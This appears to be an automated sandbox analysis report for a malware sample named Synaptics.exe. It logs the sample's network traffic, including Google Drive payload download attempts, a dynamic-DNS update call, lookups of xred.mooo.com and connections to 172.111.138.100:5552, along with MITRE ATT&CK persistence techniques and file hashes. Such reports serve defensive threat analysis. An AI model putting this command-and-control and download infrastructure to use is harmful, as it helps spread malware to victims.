IN CNAME

pki-goog.l.google.com

pki-goog.l.google.com

IN A

142.250.179.67
GET

http://c.pki.goog/r/r1.crl

Synaptics.exe

Remote address:

142.250.179.67:80

Request

GET /r/r1.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: c.pki.goog

Response

HTTP/1.1 200 OK

Accept-Ranges: bytes
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy: same-origin; report-to="cacerts"
Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]}
Content-Length: 854
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Date: Tue, 31 Dec 2024 02:07:48 GMT
Expires: Tue, 31 Dec 2024 02:57:48 GMT
Cache-Control: public, max-age=3000
Age: 1651
Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
Content-Type: application/pkix-crl
Vary: Accept-Encoding
DNS

o.pki.goog

Synaptics.exe

Remote address:

8.8.8.8:53

Request

o.pki.goog

IN A

Response

o.pki.goog

IN CNAME

pki-goog.l.google.com

pki-goog.l.google.com

IN A

142.250.179.67
GET

http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQD8Elu9WzbqaxI7ClVJiEyf

Synaptics.exe

Remote address:

142.250.179.67:80

Request

GET /wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQD8Elu9WzbqaxI7ClVJiEyf HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: o.pki.goog

Response

HTTP/1.1 200 OK

Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Date: Tue, 31 Dec 2024 02:28:29 GMT
Cache-Control: public, max-age=14400
Content-Type: application/ocsp-response
Age: 410
GET

http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDkqhDvrMuENxBpWocUnIUC

Synaptics.exe

Remote address:

142.250.179.67:80

Request

GET /wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDkqhDvrMuENxBpWocUnIUC HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: o.pki.goog

Response

HTTP/1.1 200 OK

Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Date: Tue, 31 Dec 2024 02:20:41 GMT
Cache-Control: public, max-age=14400
Content-Type: application/ocsp-response
Age: 878
DNS

drive.usercontent.google.com

Synaptics.exe

Remote address:

8.8.8.8:53

Request

drive.usercontent.google.com

IN A

Response

drive.usercontent.google.com

IN A

142.250.74.225
GET

https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.74.225:443

Request

GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Connection: Keep-Alive
Cache-Control: no-cache
Host: drive.usercontent.google.com

Response

HTTP/1.1 404 Not Found

X-GUploader-UploadID: AFiumC5oLDRDDAP8wTFCP62yP5bY_bFezvQioS3LvHmRhsd50Dyke-LIKHuMuJU1fAbfxWDQ
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 31 Dec 2024 02:35:20 GMT
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Security-Policy: script-src 'report-sample' 'nonce-3NRCPQkSZPsetrq2a-U0JQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Cross-Origin-Opener-Policy: same-origin
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Content-Length: 1652
Server: UploadServer
Set-Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H; expires=Wed, 02-Jul-2025 02:35:20 GMT; path=/; domain=.google.com; HttpOnly
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Security-Policy: sandbox allow-scripts
GET

https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.74.225:443

Request

GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: drive.usercontent.google.com
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H

Response

HTTP/1.1 404 Not Found

X-GUploader-UploadID: AFiumC5M1tHdjWGVdStvtCD0lQxcDJ_qfx9_zhRnrkO1RQd0TJxCeTPgMc-0rxqVDmFd_4Il1yLQ8DU
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 31 Dec 2024 02:35:20 GMT
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-eKqNRl5_BU2pt55nKbnwsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Cross-Origin-Opener-Policy: same-origin
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Content-Length: 1652
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Security-Policy: sandbox allow-scripts
GET

https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.74.225:443

Request

GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: drive.usercontent.google.com
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H

Response

HTTP/1.1 404 Not Found

X-GUploader-UploadID: AFiumC4aqklYszQ6mJ89Y0RmvWf7oysvhpXtV0WplwdloUcoEyWBabcg5F-jgw_9o_-YZ0tm1j5cYR4
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 31 Dec 2024 02:35:20 GMT
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Content-Security-Policy: script-src 'report-sample' 'nonce-4uqzMG7j4EZX7EUGm22Y_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Cross-Origin-Opener-Policy: same-origin
Content-Length: 1652
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Security-Policy: sandbox allow-scripts
DNS

www.microsoft.com

Remote address:

8.8.8.8:53

Request

www.microsoft.com

IN A

Response

www.microsoft.com

IN CNAME

www.microsoft.com-c-3.edgekey.net

www.microsoft.com-c-3.edgekey.net

IN CNAME

www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net

www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net

IN CNAME

e13678.dscb.akamaiedge.net

e13678.dscb.akamaiedge.net

IN A

95.100.245.144
GET

http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

Remote address:

95.100.245.144:80

Request

GET /pkiops/crl/MicCodSigPCA2011_2011-07-08.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Mon, 03 Jun 2024 21:25:24 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.microsoft.com

Response

HTTP/1.1 200 OK

Content-Length: 1078
Content-Type: application/octet-stream
Content-MD5: PjrtHAukbJio72s77Ag5mA==
Last-Modified: Thu, 31 Oct 2024 23:26:09 GMT
ETag: 0x8DCFA0366D6C4CA
x-ms-request-id: 7ca9c103-d01e-0016-3fee-2ba13d000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Tue, 31 Dec 2024 02:35:50 GMT
Connection: keep-alive
TLS_version: UNKNOWN
ms-cv: CASMicrosoftCV9220b1b3.0
ms-cv-esi: CASMicrosoftCV9220b1b3.0
X-RTag: RT
DNS

crl.microsoft.com

Remote address:

8.8.8.8:53

Request

crl.microsoft.com

IN A

Response

crl.microsoft.com

IN CNAME

crl.www.ms.akadns.net

crl.www.ms.akadns.net

IN CNAME

a1363.dscg.akamai.net

a1363.dscg.akamai.net

IN A

88.221.134.83

a1363.dscg.akamai.net

IN A

88.221.134.146
GET

http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

Remote address:

88.221.134.83:80

Request

GET /pki/crl/products/MicRooCerAut2011_2011_03_22.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 11 Jul 2024 01:45:51 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com

Response

HTTP/1.1 200 OK

Content-Length: 1036
Content-Type: application/octet-stream
Content-MD5: +oTkvMkqpdtzWrUHEQQM3g==
Last-Modified: Thu, 12 Dec 2024 00:06:56 GMT
ETag: 0x8DD1A40E476D877
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 729f9bbc-001e-0005-142b-4c8531000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Tue, 31 Dec 2024 02:35:50 GMT
Connection: keep-alive

69.42.215.252:80

http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

http

Synaptics.exe

752 B
415 B
13
4

HTTP Request

GET http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

HTTP Response

200
172.111.138.100:5552

._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

152 B
3
172.111.138.100:5552

._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

152 B
3
216.58.214.174:443

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

tls, http

Synaptics.exe

1.8kB
11.2kB
13
15

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

303

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

303

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

303
142.250.179.67:80

http://c.pki.goog/r/r1.crl

http

Synaptics.exe

348 B
1.7kB
5
4

HTTP Request

GET http://c.pki.goog/r/r1.crl

HTTP Response

200
142.250.179.67:80

http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDkqhDvrMuENxBpWocUnIUC

http

Synaptics.exe

780 B
1.6kB
7
4

HTTP Request

GET http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQD8Elu9WzbqaxI7ClVJiEyf

HTTP Response

200

HTTP Request

GET http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDkqhDvrMuENxBpWocUnIUC

HTTP Response

200
142.250.74.225:443

https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

tls, http

Synaptics.exe

2.0kB
14.5kB
14
21

HTTP Request

GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404

HTTP Request

GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404

HTTP Request

GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404
172.111.138.100:5552

._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

152 B
3
95.100.245.144:80

http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

http

393 B
1.7kB
4
4

HTTP Request

GET http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

HTTP Response

200
88.221.134.83:80

http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

http

399 B
1.7kB
4
4

HTTP Request

GET http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

HTTP Response

200
172.111.138.100:5552

._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

152 B
3
172.111.138.100:5552

._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

152 B
3

8.8.8.8:53

xred.mooo.com

dns

Synaptics.exe

59 B
118 B
1
1

DNS Request

xred.mooo.com
8.8.8.8:53

freedns.afraid.org

dns

Synaptics.exe

64 B
80 B
1
1

DNS Request

freedns.afraid.org

DNS Response

69.42.215.252
8.8.8.8:53

docs.google.com

dns

Synaptics.exe

61 B
77 B
1
1

DNS Request

docs.google.com

DNS Response

216.58.214.174
8.8.8.8:53

c.pki.goog

dns

Synaptics.exe

56 B
107 B
1
1

DNS Request

c.pki.goog

DNS Response

142.250.179.67
8.8.8.8:53

o.pki.goog

dns

Synaptics.exe

56 B
107 B
1
1

DNS Request

o.pki.goog

DNS Response

142.250.179.67
8.8.8.8:53

drive.usercontent.google.com

dns

Synaptics.exe

74 B
90 B
1
1

DNS Request

drive.usercontent.google.com

DNS Response

142.250.74.225
8.8.8.8:53

www.microsoft.com

dns

63 B
230 B
1
1

DNS Request

www.microsoft.com

DNS Response

95.100.245.144
8.8.8.8:53

crl.microsoft.com

dns

63 B
162 B
1
1

DNS Request

crl.microsoft.com

DNS Response

88.221.134.83

88.221.134.146

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Synaptics\Synaptics.exe

Filesize
1.6MB

MD5
27bcc0d927e9f13250b1dff9e122e9af

SHA1
2f9f09f46fe7ee2a495247292b3f2be0777c2873

SHA256
71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1

SHA512
1bdf5d3ba61b8d99955b92b87377fcbea08db248aae1089a9028a0613eb06c43e330bd781edf66ec955b1042c811094207b8962e391b37fc516a4b93664c7653

Download Submit
C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

Filesize
17KB

MD5
e566fc53051035e1e6fd0ed1823de0f9

SHA1
00bc96c48b98676ecd67e81a6f1d7754e4156044

SHA256
8e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15

SHA512
a12f56ff30ea35381c2b8f8af2446cf1daa21ee872e98cad4b863db060acd4c33c5760918c277dadb7a490cb4ca2f925d59c70dc5171e16601a11bc4a6542b04

Download Submit
C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

Filesize
21KB

MD5
89881af0e37940e7e3eacabc5662446a

SHA1
4b29c5e2c5c332e3732eff5d633a5bf075aa124b

SHA256
df995f102d99266843836e1a559dcb69e808804c887b8862a7cd797a84fa0e5c

SHA512
7daf492500bfa0c6555c4bb612b17e9d33c9ca5b6253bc765b70b52f9aa1c92d22a88da5ac3a54aa8102a955b422d9431985e9a8f8db7abca0f48bf0128ef93a

Download Submit
C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

Filesize
23KB

MD5
3fa206d6d71483c5e2e2d0bc116754da

SHA1
acc7080ab932c25c85323153b6048fe04253171f

SHA256
ed87ac925bf1fd6e4d7c90603e30fb8bce12923111d2548e62e3b31d1c0c8e57

SHA512
4c6a4160b39b86088ebbaf15da9e302e3eebeac6c4f39f0b91dab19d0a2219ad107895821dca11055452754416152f03a7e9603348c52b0761392cf248567f97

Download Submit
C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

Filesize
22KB

MD5
98ca2edb24cf9732c8d4e2e61efc2767

SHA1
bb688133039387c6782008739b6436cfc9403256

SHA256
5dc46e0506f898716d26c317f1752687b8307d369350d03e0011c255b986900a

SHA512
8bded5dc4e743ef39d0d8380767ed97990275ac48923cd8a2541c637501cb96184dc796a82078f2800fc69939d9d9300b368ecaedb96f8eaaa9266a35e3c0acf

Download Submit
C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

Filesize
22KB

MD5
4fed354895f30d84701c4de8c18ebca6

SHA1
3a5751f6ef8b9a25d12c99e1a437fd3c2b19e0f9

SHA256
f916c146c34f8abee2c7c7279d96898db5feede41ed5dae66fa3be6bbaa16058

SHA512
c07f787f70922ba4df6c0a451783b3b1830869f63c73d7ca5a2b37bd2ed564ccf57684e1afd9f3e5fc7311f22efba5db999409163fdca49e7b677eae5c5582a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\MHDFGY.vbs

Filesize
964B

MD5
d24e332b790bae46b2ce6cfe94a87f23

SHA1
1ac976f41b7d37aec4d95eb439bc8fadee11b1cf

SHA256
026bee439844067dcfb04c9cb9c5e20398b67e2225d0b857d66f0c85b7eff11d

SHA512
4aefd45dad7df7ae105ffc152f216187c7bd3923b508472ca587c79a98459e90dc4150ae9703afad766f6bde9082b272619f9758e8f464eeadad07e828db4552

Download Submit
C:\Users\Admin\Downloads\~$UseUninstall.xlsx

Filesize
165B

MD5
ff09371174f7c701e75f357a187c06e8

SHA1
57f9a638fd652922d7eb23236c80055a91724503

SHA256
e4ba04959837c27019a2349015543802439e152ddc4baf4e8c7b9d2b483362a8

SHA512
e4d01e5908e9f80b7732473ec6807bb7faa5425e3154d5642350f44d7220af3cffd277e0b67bcf03f1433ac26a26edb3ddd3707715b61d054b979fbb4b453882

Download Submit
\Users\Admin\AppData\Local\Temp\._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

Filesize
893KB

MD5
541fc19be6471027afb1dd324e4a8a80

SHA1
ed39e0a9aa016595f1ead34c221ce0b878e7cf64

SHA256
0a438a59e23472911fd3e08a50f58cad8008d01733a1159bb20b06b20b21aac0

SHA512
da7965709aded6570c282e02536e2fcdf51e6a42ced919adf75be4fb694017bcd332c229db4b07684265b471df6d2001d62a1c5327cd93f35520ff4fad83e086

Download Submit
memory/2136-0-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/2136-16-0x0000000004380000-0x000000000456E000-memory.dmp

Filesize
1.9MB

Download
memory/2136-29-0x0000000000400000-0x00000000005A2000-memory.dmp

Filesize
1.6MB

Download
memory/2384-140-0x0000000000840000-0x0000000000A2E000-memory.dmp

Filesize
1.9MB

Download
memory/2384-18-0x0000000000840000-0x0000000000A2E000-memory.dmp

Filesize
1.9MB

Download
memory/2384-48-0x0000000000250000-0x0000000000260000-memory.dmp

Filesize
64KB

Download
memory/2384-194-0x0000000000840000-0x0000000000A2E000-memory.dmp

Filesize
1.9MB

Download
memory/2384-184-0x0000000000840000-0x0000000000A2E000-memory.dmp

Filesize
1.9MB

Download
memory/2384-180-0x0000000000840000-0x0000000000A2E000-memory.dmp

Filesize
1.9MB

Download
memory/2384-131-0x0000000000840000-0x0000000000A2E000-memory.dmp

Filesize
1.9MB

Download
memory/2384-178-0x0000000000840000-0x0000000000A2E000-memory.dmp

Filesize
1.9MB

Download
memory/2384-133-0x0000000000840000-0x0000000000A2E000-memory.dmp

Filesize
1.9MB

Download
memory/2384-135-0x0000000000250000-0x0000000000260000-memory.dmp

Filesize
64KB

Download
memory/2528-145-0x00000000001E0000-0x00000000003CE000-memory.dmp

Filesize
1.9MB

Download
memory/2528-144-0x00000000001E0000-0x00000000003CE000-memory.dmp

Filesize
1.9MB

Download
memory/2720-137-0x0000000000400000-0x00000000005A2000-memory.dmp

Filesize
1.6MB

Download
memory/2720-134-0x0000000000400000-0x00000000005A2000-memory.dmp

Filesize
1.6MB

Download
memory/2720-132-0x0000000004370000-0x000000000455E000-memory.dmp

Filesize
1.9MB

Download
memory/2720-179-0x0000000000400000-0x00000000005A2000-memory.dmp

Filesize
1.6MB

Download
memory/2720-39-0x0000000004370000-0x000000000455E000-memory.dmp

Filesize
1.9MB

Download
memory/2768-49-0x0000000000C90000-0x0000000000E7E000-memory.dmp

Filesize
1.9MB

Download
memory/2768-41-0x0000000000C90000-0x0000000000E7E000-memory.dmp

Filesize
1.9MB

Download
memory/2788-43-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2940-187-0x0000000000E40000-0x000000000102E000-memory.dmp

Filesize
1.9MB

Download
memory/2940-189-0x0000000000E40000-0x000000000102E000-memory.dmp

Filesize
1.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.